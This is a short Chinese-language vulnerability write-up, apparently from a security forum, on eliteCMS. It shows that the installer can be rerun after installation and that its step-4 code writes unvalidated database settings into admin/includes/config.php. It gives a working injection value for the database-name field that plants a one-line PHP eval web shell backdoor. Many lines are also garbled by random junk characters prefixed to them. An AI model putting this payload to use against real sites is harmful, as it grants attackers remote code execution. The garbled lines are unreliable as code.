eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
+ u* R+ `) {: y0 W6 U我们来看代码：
  x  X5 I" ~: U
/ y. v. I' H3 R0 I, I/ s7 p0 \...
  J  j  O( o3 l5 D" q8 k1 T9 \: nelseif ($_GET['step'] == "4") {
1 r; ^3 h+ j$ w- E% e% y" n- K    $file = "../admin/includes/config.php";
) _2 N0 @' Q9 d5 A& x' G5 V    $write = "<?php\n";
  ^9 f5 \  m0 [6 ~4 \    $write .= "/**\n";
; N( w3 l! j, T# ]% i6 w/ \    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
. p5 T0 `9 r1 K( x- A; |...略...
  C3 C; I4 H# l  s2 O  t, M    $write .= "*\n";
' c9 u4 L7 r2 Z, [2 e" W    $write .= "*/\n";
) n6 K- y* \, j5 F! g4 L    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
* `. I9 |8 V; v* ~- L' Y% |  ^    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
, S& f5 n. W$ ~/ m    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
* y: u2 i0 D3 w! M! t    $write .= "        \n";
( h+ o8 q8 a4 y    $write .= "} \n";
9 w: B6 L. d, Z( ~: h+ E    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
8 M6 |, [& n0 p- D  U; E* [* P    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
; k! H  _! Z2 K. g7 B9 {    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
...

5 y' T0 i! T1 @  o$ T在看代码：

: ^; P, b8 p' U; S. o0 P# ^' E$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
8 E- J% V% N% V2 Z4 \$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
4 Z" C* W  ]" g# p9 b$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

5 s. I5 o  _: f( t% s取值未作任何验证
如果将数据库名POST数据：
! N- e  b) w3 `; M/ f3 r
8 t5 w0 h$ P9 F3 ]' |7 q& T& ~"?><?php eval($_POST[c]);?><?php
! h& e/ @$ o7 e
5 n: ~9 o+ }4 K  u- w( g1 v将导致一句话后门写入/admin/includes/config.php